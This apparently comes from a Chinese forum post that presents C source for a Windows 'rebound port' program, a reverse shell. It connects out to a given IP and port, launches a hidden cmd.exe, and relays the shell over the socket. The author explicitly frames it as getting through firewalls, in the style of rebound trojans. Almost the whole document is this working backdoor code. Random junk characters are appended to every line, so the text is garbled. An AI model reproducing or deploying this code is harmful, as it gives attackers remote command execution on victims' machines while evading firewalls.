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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }2h~o~  
TnKe"TA|9  
/* ============================== 3 F4I{L  
Rebound port in Windows NT GQ[\R&]q<  
By wind,2006/7 /#Xz+#SqY  
===============================*/ 9wI1/>  
#include =XWi+')  
#include =nY*,Xu<  
@0)bY*njj  
#pragma comment(lib,"wsock32.lib") `GSfA0?  
\y0abxIHS  
void OutputShell(); a2g15;kM  
SOCKET sClient; +q =/}|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M"V?fn'  
,m:MI/ )p  
void main(int argc,char **argv) 9pk<=F  
{ )9PQ j  
WSADATA stWsaData; $)\ocsO  
int nRet; -Ol/r=/&  
SOCKADDR_IN stSaiClient,stSaiServer; aIm\tPbb  
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if(argc != 3) ND I|;   
{ k'S/nF A  
printf("Useage:\n\rRebound DestIP DestPort\n"); &PGU%"rN  
return; g.,IQ4o  
} py,z7_Nuh  
evn ]n  
WSAStartup(MAKEWORD(2,2),&stWsaData); gMgbqGF)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HZM&QZHx)`  
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stSaiClient.sin_family = AF_INET; yTmoEy. q  
stSaiClient.sin_port = htons(0); 3|@Ske1%Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O-mP{  
<)"Mi}Q[)p  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gE:qMs;  
{ v'DL >Y  
printf("Bind Socket Failed!\n"); XRaq\a`=:  
return; $_<,bC1[  
} QZd ,GY5{  
@y}1%{,%  
stSaiServer.sin_family = AF_INET; h"q`gj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q,+d\-+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _STN^   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^Dd$8$?[  
{ mF#{"  
printf("Connect Error!"); :GO}G`jY  
return; ^OYar(  
} \f%jN1z  
OutputShell(); :;]6\/ky  
} QZzi4[-as  
M3x%D)*  
void OutputShell() Ga~IOlS  
{ Q;`#ujxL  
char szBuff[1024]; CFn!P;.!  
SECURITY_ATTRIBUTES stSecurityAttributes; r6j 3A  
OSVERSIONINFO stOsversionInfo; 5]gd,&^?>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^ b}_[B  
STARTUPINFO stStartupInfo; qL3*H\9N  
char *szShell; NbfV6$jo  
PROCESS_INFORMATION stProcessInformation; -4"E]f  
unsigned long lBytesRead; Oi=kL{DG:s  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O~w&4F;{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ULAAY$o@5  
stSecurityAttributes.lpSecurityDescriptor = 0; 7X1T9'j I2  
stSecurityAttributes.bInheritHandle = TRUE; KLlW\MF1  
qifX7AXHr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,GGr@})  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lS9rgq<n  
P b2exS(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p]IF=~b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i!jx jP  
stStartupInfo.wShowWindow = SW_HIDE; |WlWZ8]  
stStartupInfo.hStdInput = hReadPipe; vMDV%E S1t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <+pwGKtD  
l *.#g  
GetVersionEx(&stOsversionInfo); gHA"O@HgDI  
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switch(stOsversionInfo.dwPlatformId) @)|62Dv /  
{ E_7N^htv  
case 1: PJS\> N&u  
szShell = "command.com"; =K}5 fe  
break; _KC()OIeC  
default: B&`#`]  
szShell = "cmd.exe"; yw$er?  
break; }M * Oo  
} (wnkdI{  
ErHbc 2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U c$RYPq  
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send(sClient,szMsg,77,0); 9UZKL@KC  
while(1) Tf<1Z{9  
{ @9-z8PyF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !A,]  
if(lBytesRead) +A3@{ 2  
{ CsJw;]dYI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x{j|Tf3,G  
send(sClient,szBuff,lBytesRead,0); J9zSBsp_  
} % sbDH  
else , 0MDkXb  
{ pMKnA. |  
lBytesRead=recv(sClient,szBuff,1024,0); ^ ,d!K2`  
if(lBytesRead<=0) break; u4, p.mZtb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kW3V"twx  
} ^#9 &Rk!t  
} "VRcR  
\f5$L`  
return; n0:'h}^  
}
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